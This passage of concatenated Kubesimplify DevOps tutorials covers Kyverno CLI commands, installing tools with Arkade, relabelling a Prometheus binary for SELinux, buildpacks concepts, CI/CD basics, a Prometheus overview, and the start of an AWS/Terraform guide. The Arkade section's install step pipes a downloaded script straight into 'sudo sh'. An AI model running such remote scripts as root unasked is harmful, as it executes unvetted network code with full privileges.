- Again if you will look at the last 3 pods in the same resource.yaml then you will notice that they are not having the readinessProbe and livenessProbe. 


![liveness.png](/img/blog/kyverno-cli/wFAJCzWqV.png align="left")

- In the resource below we can see livenessProbe is missing so when we will apply the policy then these resources is not going to pass. 

### In the CI-CD Pipeline 

- In the image above I have shown you that after failing the policies the exit status `$?` of the last command is 1 meaning something is wrong with our manifests, and we need to change that. It is useful when you're using Gitops methodology. So, we can easily integrate this with any CI-CD tool. 

- If you're using Gitops, then most probably you will have all your policies in one directory and all your resource manifests in another directory. In this case, you can also apply all the policies to all the resources using 

```
kyverno apply /path/to/policies --resource /path/to/folder
```
- You can also apply multiple policies to one resource and vice-versa by executing the command 
```
kyverno apply policy1.yaml policy2.yaml --resource resource1.yaml resource2.yaml 
```


### Mutating resources using `kyverno apply` 

- Up until now we have only checked the policies which were of validation type. Now let's look at the mutating type. 



![Screenshot from 2022-05-14 00-35-01.png](/img/blog/kyverno-cli/w1oKe3Igc.png align="left")

- Once again, spend some time inspecting the resource and the policy manifest. 
- Upon inspecting the resource, you will notice that it looks like the simple pod having the nginx image. Notice that this pod is not having any security context set. 
```
apiVersion: v1
kind: Pod
metadata:
    name: myapp-pod
    labels:
      foo: bar
spec:
    containers:
    - name: nginx
      image: nginx:latest
```


- Now let's apply our policy `add-default-security-context` to the `resource.yaml` 


![securitycontext.png](/img/blog/kyverno-cli/v9f7v76og.png align="left")

- You will notice that our resource has been modified now. 
- If you want to save a copy of the resource, then you can save it using the command 

```
kyverno apply add-default-securitycontext.yaml --resource resource.yaml -o mutatedresource.yaml
```

- In the message above, you will have noticed `log level 5` I'm really not sure what is that? 
- If I run the command below then I get a long value output in stdout which I don't understand. 
```
kyverno apply add-default-securitycontext.yaml --resource resource.yaml -o mutatedresource.yaml -v=5
```
- That completes our `kyverno apply` command. We will explore some other commands now. 

### Kyverno completion 

- This command generates the autocompletion script for the specified shell. 
- You can generate and source it to make working kyverno easy for you. 
```
source <(kyverno completion zsh)
```

### Kyverno help 
- This is also self-explanatory. It gives you the help about any command. 

```
kyverno help apply 
kyverno help validate
```
- I prefer mainly this 
```
kyverno validate -h
```

### Kyverno jp 

- Before going into `jp` command, let's spend some time learning about JMESPath. 
- JP stands for JMESPath. JMESPath is used to filter, sort and transform JSON data. If you're aware of jsonpath functionality in Kubernetes then it's kind of like that. 
- Kyverno used JMESPath under the hood to filter the resources when you apply any policy. 
- kyverno jp also have some custom filter that you can use in the Kubernetes context. You can have a look at all of them [here](https://kyverno.io/docs/writing-policies/jmespath/#custom-filters)
- If you will look at the policy under `/root/policies/best-practices/add_network_policy.yaml` then you will notice that it is using a JMESPath expression to generate a default-deny network policy upon creation of namespace in the cluster. 


![netpol.png](/img/blog/kyverno-cli/3A1ncioCN.png align="left")

- The above policy generates a NetworkPolicy whenever you create a new namespace in your cluster. Let's see this in action. 


![default-deny.gif](/img/blog/kyverno-cli/i7yOcECvl.gif align="left")

--- 
- Now we will have a look at another policy that uses JMESPath. The policy is available at `/root/policies/other/restrict_pod_count_per_node/restrict_pod_count_per_node.yaml` 


![jmespathh.png](/img/blog/kyverno-cli/ayt_U--uI.png align="left")

- The policy above uses JMESPath to restrict the number of pods on a node named minikube to 10. If you create more pods, then it will throw an error. 


![Screenshot from 2022-05-14 11-30-06.png](/img/blog/kyverno-cli/hIJVYER9U.png align="left")

- We can also query the same using the `kyverno jp` command. Make sure you run `kubectl proxy --port 8080 &` if you're following this. 

![Screenshot from 2022-05-14 08-09-15.png](/img/blog/kyverno-cli/02AixjLoA.png align="left")

### Kyverno Test 
- Above when we have seen any directory then that used to contain one policy manifest, one resource manifest and one test manifest. Now it's time to explore that test manifest file. In kyverno you define your test in kyverno-test.yaml file. The test needs to follow a format/schema in order to work. 
- go to `~/policies/best-practices` and we will try to test the policies inside the `require_pod_requests_limits` directory. 


![Screenshot from 2022-05-14 12-23-29.png](/img/blog/kyverno-cli/ScX3YNBgk.png align="left")

- On the first look, you may ask why are `badpods` passing in the tests?
    - Upon inspecting, you will notice that they are passing because we wanted them to fail. We were already expecting them to fail, and they have failed, that's why it's a `pass` for the test command. 

- Now let's change that, change all the results corresponding to badpods to pass. We are expecting all the badpods to pass. 


![badpods.png](/img/blog/kyverno-cli/OB1Qx6BNJ.png align="left")

- Execute the command 
```
kyverno test require_pod_requests_limits
```

![Screenshot from 2022-05-14 13-37-51.png](/img/blog/kyverno-cli/npsZyP-4m.png align="left")

- Now we can see the results as `Fail`. It is happening because we have written all the badpods to `pass` which they cannot, that's why the test command will result false. 

- `kyverno test` also supports the testing of the resources from the GitHub directory. You don't need to bring the policies in your local system if you don't want. 
```
kyverno test https://github.com/<ORG>/<REPO>/<BRANCH>
kyverno test https://github.com/kyverno/policies/release-1.6
```

### Kyverno Validate 

- `kyverno validate` let's you validate your policies. Say, if you have written a new policy or modified the existing one, you can validate that using `validate` command. 


![Screenshot from 2022-05-14 11-38-49.png](/img/blog/kyverno-cli/cOkjkkYMQ.png align="left")

- You can also execute the command on a directory full of policies. 
```
kyverno validate /path/to/directory
```

### Kyverno version 
- It is self-explanatory. This gives you the version of the kyverno CLI. 

![Screenshot from 2022-05-14 05-49-39.png](/img/blog/kyverno-cli/qvD3waPf1.png align="left")


> That's it for now. I hope you learnt something new. In the future I will write about mutating policies and generating policies aspect of kyverno. I will be thankful if you suggest any changes if there's anything wrong.

---

# Arkade

- Canonical: https://blog.kubesimplify.com/arkade
- Published: 2022-05-17

- Arkade is one of my favourite tools. 
- It is an open source marketplace for developer tools which makes it really easy to install things in your system. 
- Arkade is super simple and super minimal, so it's going to be a short blog. 
- Before arkade whenever I used to spin up an instance, I used to go to multiple sites and download the binary. 
- e.g. I created a new instance, and now I will do the following. I primarily code in go(still learning) and I love exploring new tools. 
  - First visit the go installation [page](https://go.dev/doc/install) and run a curl command to download go. 
  - Even after download go, I need to extract go and add it to the path and source it. 
  - Generally, if I want to install any other tool, then I will go to the installation page of the tool and run the scripts provided there. 
  - Another common practice is that I go to the github release of the page and execute a `curl` or `wget` request on the latest release I need to install.
- Now with the help of arkade I don't have to visit multiple sources to download either applications or command line tools. 

### Hands on Arkade 
- With arkade you can download three types of things
  - command line tools (kubectl,kubectx,kubens)
  - kubernetes applications (kyverno,tekton,argocd)
  - system packages/applications (go,containerd,prometheus)

### Installing arakde 
- Run the command 
```
curl -sLS https://get.arkade.dev | sudo sh
```
- Add the path in your .zshrc or .bashrc (skip if already set)
```
export PATH=$PATH:/usr/local/bin
```
### How to install Command line tools? 
- when you will run the command `arkade get`, you will see a bunch of options that you can download




![arkade.gif](/img/blog/arkade/xuW7_4qkr.gif align="left")

- Just select anyone that you wish to download 
- You can also install a specific version of any tool using `arkade get tool@version` 
- I'm installing kubens now which is a tool to set simplifies setting up your active namespaces. 
- After installation, you should see this. 


![Screenshot from 2022-05-12 09-42-13.png](/img/blog/arkade/3nG1YMVvv.png align="left")

- I would recommend to add the `~/.arkade/bin` directory to your PATH variable. 
- To do that add this line to your .zshrc or .bashrc 

```
export PATH=$PATH:$HOME/.arkade/bin/
```
- Now you can run `kubens` and it should work.



![kubens2.gif](/img/blog/arkade/zOz6UxITl.gif align="left")

- All the binaries that you will install by default will reside under the `.arkade/bin` directory. 

![Screenshot from 2022-05-12 09-40-05.png](/img/blog/arkade/yOPeMDTNO.png align="left")

### How to install kubernetes apps? 
- You can install kubernetes applications with arkade. Arkade will look for helm charts or k8s manifest and install that respective application in your cluster.
- To see the list of applications that you can install with arkade run the command `arkade install --help` 



![arkinstall.gif](/img/blog/arkade/gTeKELnJL.gif align="left")

- To install any application, you need to run `arkade install <application-name>` 
- For example, I'm installing kyverno here. After installation, You should see a message saying your application has been installed. It also gives you an Info message about the application at the end. Make sure to check that for application related settings and configurations. 

![Screenshot from 2022-05-12 16-56-54.png](/img/blog/arkade/_8oPG2PRA.png align="left")

> You can also check out info of an application using the command `arkade info <application-name>`


![Screenshot from 2022-05-12 17-05-43.png](/img/blog/arkade/acdJXcrV4.png align="left")

### How to install system packages? 

- Till now we have installed binaries and Kubernetes applications. Now, Systems applications are mainly used to install applications on Linux systems. 
- It removes the complexity of going to the release page making a curl request and then untar it in your system. 
- You can install languages like go, monitoring tools like prometheus to setup on your host or containerd to manage your containers. 
- Read more about the system packages [here](https://github.com/alexellis/arkade/issues/654). It's a very good guide to understand what was the thought process behind system applications? 

- Let's install golang on our system with which we have started the article. 


![arkadego.gif](/img/blog/arkade/VfCesFQyu.gif align="left")

- Now all I need to do is that put the last two lines in my `.zshrc`
```
export PATH=$PATH:/usr/local/go/bin:$HOME/go/bin
export GOPATH=$HOME/go/
```
- This time I have also created a killercoda scenario for you to try out arkade. You can try arkade right from your browser [here](https://killercoda.com/kranurag7/course/devX)
- I hope this was useful. Thank you for reading. 
- Feel free to suggest any changes if I have missed something.

---

# Installing Prometheus with SELinux

- Canonical: https://blog.kubesimplify.com/installing-prometheus-with-selinux
- Published: 2022-05-16
- Summary: Shows how to use SELinux to install Applications

## Introduction
In the world of serverless, there are still system admins who host applications on ec2 instances, while most of them are Amazon Linux they use the same package manager as RHEL, CentOS  that is `yum` or `DNF`

There are many tutorials on how to set these up, but setting these up with SELinux disabled is not recommended. There are alternatives to SELinux such as Systemd Sandboxing. 
Most of the tutorials tell you to straight-up disable SELinux, so in this one, I'm asking you to be a bit patient and troubleshoot.

One of the best SELinux tutorial/Debug guide is [here](https://access.redhat.com/articles/2191331) and [here](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/troubleshooting-problems-related-to-selinux_using-selinux)

###  Getting your hands dirty!

Firstly, let's create a Prometheus user.
```
# useradd -s /sbin/false prometheus
or
$ sudo useradd -s /sbin/false prometheus
```
Install the SELinux Tools listed [here](https://support.rstudio.com/hc/en-us/articles/4579112985751-SELinux-a-quick-primer-and-troubleshooter)

To start, install and extract the Prometheus zip file from
```
sudo -u prometheus  wget https://github.com/prometheus/prometheus/releases/download/v2.35.0/prometheus-2.35.0.linux-amd64.tar.gz
```
Then unzip it.
```
sudo -u prometheus tar -xvf prometheus-2.35.0.linux-amd64.tar.gz
```

Once you create the prometheus service, `vim /etc/systemd/system/prometheus.service`
```
# /etc/systemd/system/prometheus.service
[Unit]
Description=Prometheus Server
Wants=network-online.target
After=network-online.target

[Service]
User=prometheus
Group=prometheus
Type=simple
ExecStart=/home/prometheus/prometheus \
--config.file=/home/prometheus/prometheus.yml \
--storage.tsdb.path=/home/prometheus/ \
--web.console.templates=/home/prometheus/consoles \
--web.console.libraries=/home/prometheus/console_libraries

[Install]
WantedBy=multi-user.target
```

Then do:
```
# systemctl daemon-reload
# systemctl start prometheus
```


You will get hit with an error if you check `journalctl -t setroubleshoot`

```
SELinux is preventing /usr/lib/systemd/systemd from execute access on the file prometheus.

*****  Plugin catchall (100. confidence) suggests   **************************

If you believe that systemd should be allowed execute access on the prometheus file by default.
Then you should report this as a bug.
You can generate a local policy module to allow this access.
Do
allow this access for now by executing:
# ausearch -c '(ometheus)' --raw | audit2allow -M my-ometheus
# semodule -X 300 -i my-ometheus.pp


Additional Information:
Source Context                system_u:system_r:init_t:s0
Target Context                unconfined_u:object_r:admin_home_t:s0
Target Objects                prometheus [ file ]
Source                        (ometheus)
Source Path                   /usr/lib/systemd/systemd
Port                          <Unknown>
Host                          rocky8.5
Source RPM Packages           systemd-239-51.el8_5.5.x86_64
Target RPM Packages
SELinux Policy RPM            selinux-policy-targeted-3.14.3-80.el8_5.2.noarch
Local Policy RPM              selinux-policy-targeted-3.14.3-80.el8_5.2.noarch
Selinux Enabled               True
Policy Type                   targeted
Enforcing Mode                Enforcing
Host Name                     rocky8.5
Platform                      Linux rocky8.5 4.18.0-348.23.1.el8_5.x86_64 #1 SMP
                              Wed Apr 27 15:32:52 UTC 2022 x86_64 x86_64
Alert Count                   1
First Seen                    2022-05-06 21:43:51 IST
Last Seen                     2022-05-06 21:43:51 IST
Local ID                      562818dd-247b-40b2-9b24-f63020bb46b7
```
At this point, you're probably going, "Oh shit it's SELinux again, I should disable it", nope.

The error has too much info, so I just focus on `Source Context` and  `Target Context` as you can see, prometheus is a binary and systemd is trying to run it, but it fails.

SELinux uses domains, so when you try to execute a binary systemd has to transition to that domain, for further reading I would suggest [Gentoo's wiki](https://wiki.gentoo.org/wiki/SELinux/Tutorials/Linux_services_and_the_system_u_SELinux_user)

This can be checked by searching the domains using:
```
sesearch --allow --source init_t --target user_home_t  --class file --perm execute
```
This will yield no results.
However, this will:
```
sesearch --allow --source init_t --target bin_t --class file --perm execute
allow init_t base_ro_file_type:file { execute execute_no_trans getattr ioctl lock map open read };
allow init_t bin_t:file { execute execute_no_trans getattr ioctl lock map open read }
```
As you can see here, the source (domain) `init_t` can perform `{ execute execute_no_trans getattr ioctl lock map open read };` on the target domain `bin_t:file` of the type file.
More detailed information can be found [here](https://wiki.gentoo.org/wiki/SELinux/Tutorials/How_SELinux_controls_file_and_directory_accesses)

A simple fix is to relabel the library using a file that you know works

```
chcon --reference=/bin/less /home/prometheus/prometheus
```
This will fix the issue with the systemd service, however it is prone to a relabel on system reboot.
To make it permanent
```
semanage fcontext -a -t bin_t "/home/prometheus/prometheus"  
```

That's it, yes SELinux is complicated, and hard, but tutorials such as the ones on Gentoo make it easier, even I'm quite new to it and learning it, so if I've made mistake please correct me!

I can be found [@mediocredevops](https://twitter.com/mediocreDevops) on Twitter, or [LinkedIn](https://linkedin.com/in/leon-nunes).

If you've enjoyed it or have any queries, please feel free to reach out.

### Resources
[Gentoo Wiki](https://wiki.gentoo.org/wiki/SELinux/Tutorials)
[RedHat SELinux](https://access.redhat.com/articles/2191331)

---

# Cloud native buildpacks concepts

- Canonical: https://blog.kubesimplify.com/cloud-native-buildpacks-concepts
- Published: 2022-05-13
- Summary: Cloud native buildpacks is a CNCF incubating project. It is a code to an image and run anywhere.

## Overview

Cloud native buildpacks is a CNCF incubating project. It is a code to an image and run anywhere, so you take your code, and you have the build packs, and they will do the heavy lifting, and create the image OCI artifact for you that you can run it on any platform.

So buildpacks were used in 2011 by Heroku, now they are adopted by Cloud foundry, Knative, Gitlab, Google app engine and so on. Cloud native build packs were started in 2018 by Pivotal and Heroku and in 2018 they joined CNCF landscape. 

The buildpacks v1 started by Heroku and then v2 started by both Heroku and Pivotal, and then they combined started project Cloud Native Buildpacks in 2018 with all the feature and production readiness from their previous experiences over the years.

 It now has all the modern container standards such as OCA format. It takes advantage of these latest standards: image layering, rebasing, docker v2 apis and all that stuff. 


![pivotal.png](/img/blog/cloud-native-buildpacks-concepts/rdia7DiTo.png align="left")

## Concepts in Buildpack

-  **Buildpacks** -  So buildpacks provide a framework and the runtime for the application. It's a source to OCI image without dockerfile.


![Source oci.png](/img/blog/cloud-native-buildpacks-concepts/rQ4mXrmQy.png align="left")

So as a developer, you just focus on the code, and you do not need to write a dockerfile to map it to a docker image or to create an image out of it.

so you just have the source and the buildpacks will do their job creating and doing the heavy lifting for converting the source to the OCI compliant image.

so there are two different phases which is called detect and build :
 
**Detect** - When you have the source code, and you need something to detect, like it is a java application, so there should be .java files, if it's a python application then there should be like setup.py, requirements.txt files.

So the detect phase will check whether the buildspace is applicable against the source code. If yes then it moves to the next phase which is called build and if no then it skips.

**Build** -  So after the detection is passed, the build binary is executed. So what it does is set up the build and the runtime environment. Download all the dependencies and compile code if required and set all the entry points and stuff.

 
- **Builder** -  So a builder is basically an image with components to execute the build. You need a builder image, so that your build can be executed. 

![Builder image.png](/img/blog/cloud-native-buildpacks-concepts/FBnczNm3i.png align="left")

Now, the build image itself is having a build image and a run image. So the build image is basically for the base environment for the builder, like an Ubuntu OS or a base OS layer which is there.

Run image is the base environment for the app during the run time. And when you combine these two terminologies like the build image and run image it is called a stack. So basically there is the concept of stacks, that will be used as the build image. Builder is a stack image plus the build packs and the lifecycle( life cycle is nothing but it orchestrates the build pack execution and assembles all the artifacts and creates the fancy final OCI image).

 ![Builder image.png](/img/blog/cloud-native-buildpacks-concepts/zb3xd0M-4.png align="left")

This is from docs you can have multiple buildpacks. So your multiple build packs and stacks will be defined in a file called builder.toml and your stack is having the build image and the run image. Then the builder will create the builder image. 

So build packs is a set of executables, it is composed of buildpack.toml and the executables detect and builds. There is also the concept of meta buildpack which is only having buildpack.toml for the complex detection strategies.

## Platform

It uses the life cycle + the build packs from the builders + the application source code. 

So now you have all the components, the buildpacks, the builder, and you need to perform all these phases. So how you will do that, you'll be doing that via the platform.

The platform as a whole is taking the source code of the builder and executing the lifecycle, so this is what you will be interacting with. 

It will take your source code and builder image, and then you can see the builder image has build image, which is having build image and run image, and it will be converted into OCI image. 

![Platform.png](/img/blog/cloud-native-buildpacks-concepts/icMUpYvnL.png align="left")

Some examples of different  Platforms are :

1. Local CLI --> like pack CLI
1. Plugins --> like buildpack plugin in CI/CD ecosystem tekton, Github action
1. Cloud app platform -->  like Kpack

So you have different platforms on your systems. You can use those platforms to execute all these commands like pack, build which will be there. So that particular platform will be used to execute all the phases.

## Operations

So in the operations you have</br> 
Build operation- which is building the OCI runnable image from source code.</br>
Rebase - updating app image without rebuild.

So let's say you have an app image in which you have, run image, app image and the build packs, and now you do rebase. So let's say you have pack cli, and you execute the command `pack release demo:tag` as given below.

![Operation.png](/img/blog/cloud-native-buildpacks-concepts/XP6Ad0GVy.png align="left")

As soon as you do that, it will take the new run image from the registry and replace it with its counter layer. so that is how without rebuilding the entire image, it is just rebasing with the new image. So it reduces the build efforts it also reduces the overhead and complexity, so this is a very powerful feature of cloud native buildpacks.

## Why Buildpacks?

 So that developer only focuses on the development and not on the image building. So build packs make it better with best practices minimizing the attack surface, caching Mechanism, and rebasing mechanism. 

It is like software builds of materials(SBOM). Cloud buildpacks give few layer-by-layer information view of what is actually inside the container in cycloneDX, SPDX and Syft JSON 
format.</br>
It follows a modular approach like multiple build packs can be used to create an image. 

Rebasing | Reproducible  reproduces the same app Image digest by running rebuild. If nothing is getting changed, and you keep on running pack build, so you will be having the same image digest. so that is where you can see the rebasing happening. 

## Conclusion

Overall, buildpacks help you to create your OCI image from source code without writing a dockerfile. Some of its concepts like phases will be the detection phase and then the building phase and in the building phase, you will be having a builder. 

Builder is consisting of buildpack and stacks, and then you have a platform which is integrating and tying it all together so that you can use it. For Demo, you can check out [Saiyam Pathak video](https://www.youtube.com/watch?v=nG7N6SLNO4Q&t=294s) on it.

---

# Introduction to CI/CD & CI/CD Pipeline

- Canonical: https://blog.kubesimplify.com/introduction-to-cicd-and-cicd-pipeline
- Published: 2022-05-12
- Summary: A Beginner's guide to CI/CD and CI/CD pipeline, with its advantages in the industry.

With the ever-evolving tech industry, it's crucial to deliver bug-free code expeditiously, this is where a CI/CD pipeline plays a pivotal role. But what is CI/CD, let's learn about it in this blog.

# Overview
Firstly, CI/CD stands for Continuous Integration/ Continuous Delivery, there's another segment to CI/CD called Continuous Deployment which is an extension to Continuous Delivery. Now let's take a look at these terms individually.

# Continuous Integration
<h3> Definitions </h3>

- A practice of merging all developers' working copies or changes to the main branch

Here's another definition
- The practice of automating the integration of code changes from multiple developers into a single project.

Now, let's understand these definitions in detail:

- Consider several developers working on a project.
- Now, these developers will individually make changes in the codebase in their own 
   repositories.
- These changes are supposed to be merged into the repository of the main project after they are validated by going through automated tests.
- The previously mentioned tests ensure that the changes made are following the 
    particular guidelines, standards that are established for the given project.
- Now the changes which pass these tests are automatically merged into the main 
   repository of the project.
- The above changes can take place in various time periods (multiple times a day, 
   everyday, every hour, etc...) depending on the organization.
![continuous integration.png](/img/blog/introduction-to-cicd-and-cicd-pipeline/yDVXETMoo.png align="left")

# Continuous Delivery
<h3> Definitions </h3>

- An approach in which teams produce software in short cycles, ensuring that each build is potentially good to be released at any time.

Here's another one
- Continuous delivery is a software development practice that uses automation to speed the release of new code.

Let's have a deeper look:
- We have already seen that Continuous integration is the automated testing of the code changes made by the developer, now we have an automated release process where we can deploy our application at any time by just clicking a button.
- Theoretically speaking, we can deploy/release daily, weekly or at any time(which suits the organization) with the help of Continuous Delivery.
- CD involves testing, staging and deployment of code/application.

![continuous delivery.png](/img/blog/introduction-to-cicd-and-cicd-pipeline/QF-lebAZ0.png align="left")

# Continuous Deployment 

- Now, in CD the deployment in a production environment can either be approved by a human or can be done automatically without any explicit approval.
- The latter one is called Continuous Deployment.
- Definition- A strategy in which all the changes are **automatically** deployed for production after CI.
  
So now we know that Continuous Deployment is basically the automation of Continuous Delivery.
- Visuals help make things clear, so here's one:
![continuous deployment.png](/img/blog/introduction-to-cicd-and-cicd-pipeline/MPjj3jfhg.png align="left")


# CI/CD Pipeline
 <h3>Definitions</h3>

- CI/CD pipeline automates the software delivery process, from building code to running tests and further deploying a new version of the software.

Here's the second one

- A CI/CD pipeline is a series of orchestrated stages that can take the source code from development to effectively producing/deploying the application.

- Have a closer look at this diagram**(click on it to get a broader view)** for a better understanding:

[![CICD pipeline (1).png](/img/blog/introduction-to-cicd-and-cicd-pipeline/KqUEEFhio.png align="left")](/img/blog/introduction-to-cicd-and-cicd-pipeline/KqUEEFhio.png)

<h3> Stages in a CI/CD Pipeline:</h3>

There are various steps in a CI/CD pipeline like Building, Packaging, Testing, Validating, Verifying the infrastructure, and Deployment. 
Let's have a look at the 4 main stages:


**I.  Source stage**
    
Firstly, the CI/CD pipeline has to be triggered to initiate the process. The pipeline can 
get triggered by making any change in the code or the program and can even be done manually.
Initializing a pipeline manually is not recommended as it defies the whole concept of automating things and can even cause issues if not triggered on time.


Some of the tools commonly used in this stage are:

- GIT
- AWS CodeCommit
- SVN (Apache Subversion)

**II. Build Stage**

In this stage, the source code is combined with all its corresponding dependencies to 
create an executable instance of the application/product which can be potentially 
shipped to the end-user or client. 

This stage plays a vital role, any sort of failure in this stage usually indicates 
a fundamental error in the codebase underneath.

If development is taking place in a compiled language like Java, C/C++ or Go, then 
the compilation of the program has to take place. Contrarily, programs written in 
languages like Python, Ruby, and JavaScript bypass this step.
Nevertheless, cloud-native software are usually deployed in [Docker](https://www.docker.com/) irrespective of the language.

Some tools commonly used in this stage are:
- Jenkins
- AWS Code Build
- Gradle
- Maven

**III. Testing Stage**

Now we've entered the testing stage of our application. Here, we'll be running automated tests to validate the efficiency of our code and the functioning of our software.

The purpose of this test is to deliver bug-free software to the end-user, to ensure this, the code goes through multiple automated tests which are designed by the developer depending on the size and complexity of the software.

Any sort of failure in this stage brings light to the problems in the code which were not anticipated by the developer when writing the code.

Some tools commonly used in this stage are:

- Appium
- Jest
- Selenium
- JUnit

**IV. Deploy Stage**

Now we're at the final stage of the pipeline, considering the software has passed all the prior tests now it's ready for deployment. The software is usually deployed in various environments like beta, staging, etc... These stages help in Quality Assurance as the product is used internally by the developers and the beta testers. After this, the software goes into a production environment for the end-users.

This stage includes containerization technologies and tools like: 
- Docker
- Kubernetes
- Terraform
- Ansible
- AWS Code Deploy
- Azure Pipelines - Deployment
 
# Advantages of CI/CD
There are a lot of advantages to practising CI/CD, let's have a look at some of'em:

**1. Smaller Code Changes**

CI/CD helps in integrating small code changes at one time. These changes are simpler to handle and have fewer unintended consequences. 

These small changes help the developers in recognizing an issue much sooner before a significant amount of progress is made, because these changes can be tested as soon as they are integrated into the main code repository.


**2. Reduce Risk**

Bugs are time-consuming and demanding to fix once they are found late in the development stage. This problem escalates once the software is already released for production. 

This is where CI/CD pipeline becomes a rescuer, as we can test and deploy code more frequently, giving developers the facility to detect bugs and fix them in real-time.


**3. Fault isolation**

Fault Isolation refers to the practice of designing systems which reduce the scope of negative outcomes when any error is found. In this way, we can reduce the potential for damage done to our software/system.

This kind of approach helps in lowering the consequences of any undetected or unresolved complication.


**4. Reduced Mean Time To Resolution(MTTR)**

Mean Time To Repair/Resolution represents the average time required to troubleshoot or repair a product or system failure.

With the help of CI/CD, the MTTR is reduced because of the smaller code changes and quicker fault isolation.


**5. Accelerated Release Cycles**

As the failures spontaneously detected, they will be repaired quickly, leading to accelerated release cycles. Here, a seamless CI/CD pipeline will help in making multiple releases, as the code will be kept in a release-ready state after thorough testing.


**6. Reduced Backlog**

CI/CD helps in reducing the small, non-critical problems which in turn clears the backlog for developers, providing them with a lot more time to focus on bigger problems which are faced by the organization.


**7. Cost Deduction**

Now that the number of errors is reduced, this frees up a lot of time for the developers, allowing the organization to focus on the product development as there wouldn't be a need to make immediate code changes.
Practising CI/CD pipeline also accelerates the Return Of Investment(ROI).


**8. Customer Satisfaction**

Meeting the end-user's requirements is the top priority of a team. CI/CD helps in making daily changes which are requested by the end-users based on their feedback, resulting in better usability improvement and higher customer satisfaction.


**9. Easier Maintenance and Frequent updates**

Regular and precise updates with effective maintenance is crucial in creating a great product. Practicing it during non-critical hours when the traffic is low provides a better edge over other products.


**10. Enhanced Team Transparency and Accountability**

CI/CD helps receive continuous feedback from the team members, which in turn encourages responsibility and the accountability of the whole team.

# Conclusion
CI/CD is an important part of DevOps which is extensively used in a lot of famous organizations such as Amazon, Netflix, Target, Walmart, Facebook, etc…
The topic of CI/CD doesn't end here, there's a lot more to explore in the domain of CI/CD and also Devops.
Do checkout [KubeSimplify](https://kubesimplify.com/) for more such blogs.

**Thanks for Stopping By ✌️**

---

# Prometheus Explained

- Canonical: https://blog.kubesimplify.com/prometheus-explained
- Published: 2022-05-11

# What is Prometheus?
To monitor highly dynamic cluster environments like k8s, docker swarm etc. it can also be used for traditional non container infrastructure 
![container_cluster.png](/img/blog/prometheus-explained/embfz6EAC.png align="left")


Prometheus is a main stream container and microservice monitoring tool
# Where and why is Prometheus used?
As DevOps is becoming more complex it requires more automation when you have tons of services and applications deployed any one of them can crash and cause failure of other services and suddenly application become unavailable to users

![wgy use.png](/img/blog/prometheus-explained/wSd9_Xs13.png align="left")


Suppose one specific container ran out of memory  and kicked off a container that was responsible for providing  database sync between two database  pods, that in turn caused the pods to not work properly. Which again was responsible for the Authentication service of the app and the application couldn't authenticate users anymore, but from a user perspective all you can is an error.

### How do you know what went wrong internally?

 To prevent we want something that constantly monitors all the services and sends alerts when crashes or identify problems before and sends alerts to the maintainers to prevent such issues for example in our case we can check regular memory usage on each server, if the memory usage goes beyond 70% we can send alerts or If the app gets slow because one service breakdowns.

# Prometheus architecture

 Main component  Prometheus server-does the actual monitoring work which consist of three parts

![architecture.png](/img/blog/prometheus-explained/P2YisJa8b.png align="left")

1. ** Time series database**(storage) stores all the metric data like : current CPU usage, No. of exceptions per configuration etc.
2. **Data retrieval worker**(retrieval) pulls metric data from applications, servers and storing them or pushing them in database.
3.  **Server or server API** ACCEPTS PROMQL queries (HTTP server) from that stored data server API is used to display the data in the form of  Prometheus UI/web server either through  Prometheus dashboard or Grafana.

## What does  Prometheus monitor?
TARGETS AND METRICS
- a) Linux server
- b) Apache server
- c) Single app
- D) Services like database
 
Prometheus monitor targets every target has some units for Linux server, it could be current CPU status, memory usage, exceptions count.

Units that are monitored from some specific target is called metric and metrics are stored in database component.

metrics:human readable text format
metrics entries  TYPE and HELP (description of what the metrics is) attributes
types:
- a) counter (how many times x happened)
-  b) Gauge (what is the current value of x)
- c) Histogram (how long or big?)


### How does Prometheus collect those metrics from targets


![metrics.png](/img/blog/prometheus-explained/z5Cp8QXQV.png align="left")
Prometheus pulls metrics data from the targets from an HTTP endpoint, which by default is host address/metrics.

For that to work, one target must expose that /metrics endpoint data available must be in the correct format that Prometheus understands

### Target endpoints and exporters
Some servers are already exposing Prometheus endpoints by default, but many services need other components and this component is an exporter.

The exporter is basically  a script or service that fetches metrics from your target, converts them to correct format and exposes the metrics where prometheus can scrap them 

![target.png](/img/blog/prometheus-explained/xKsr_AYyn.png align="left")

Prometheus has a list of exporters like MySQL, elastic search, cloud platform and so on 
you can find some at
https://prometheus.io/docs/instrumenting/exporters/
these exporters are also available as docker images

### How does  Prometheus know what to scrap and when?
All that is stored in prometheus.yaml file like which targets and at  what interval
Prometheus uses a service discovery mechanism to find those target endpoints

![code.png](/img/blog/prometheus-explained/d7tjb6cMZ.png align="left")


## How does trigger the alerts
Prometheus has a component called alert manager responsible for firing alerts to different channels like Email or Slack etc. if the condition matches with the alert rule the alerts get fired through that configured channel.

Prometheus stores the data in local disk/HDD data is stored in a custom time-series format.

You can use pro dashboard UI to access the pro server through promQl to query data directly, or you can use more powerful data visualization tools like Grafana etc


# Prometheus characteristics
- Reliable 
- Stand alone and self containing
- No extensive setup needed
- less complex

### Prometheus with Docker and Kubernetes


![dk1.png](/img/blog/prometheus-explained/X4OaGR1SP.png align="left")
- Fully compatible
- Prometheus components available as docker images
- Can easily be deployed in container Environments like Kubernetes

# Conclusion
Now we have understood the concept of Prometheus and how it is used along with its working,
I hope you have gotten the knowledge of Monitoring and why it is necessary. Here's the link to their official page, so do check it out! [prometheus](https://prometheus.io/)

---

# Deploy a simple server using AWS + Terraform

- Canonical: https://blog.kubesimplify.com/deploy-a-simple-server-using-aws-terraform
- Published: 2022-05-10

## What is Terraform?
Terraform is an Infrastructure as Code(**IAC**) tool that lets you define both cloud and on-prem resources in human-readable configuration files, that you can version, reuse, and share. 
![](https://mktg-content-api-hashicorp.vercel.app/api/assets?product=terraform&version=refs%2Fheads%2Fstable-website&asset=website%2Fimg%2Fdocs%2Fintro-terraform-apis.png)

## The core Terraform workflow
* **Write**: You define resources, which may be across multiple cloud providers and services.
* **Plan**: Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration.
* **Apply**: On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies.

[Link for the AWS resource definitions](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)

# How to setup AWS
## Setup Access Key


![01.png](/img/blog/deploy-a-simple-server-using-aws-terraform/e_ACFucj_.png align="left")

1. To create one or more IAM users (console)
  1. Sign in to the AWS Management Console and open the IAM console at [**AWS IAM**](https://console.aws.amazon.com/iam/)
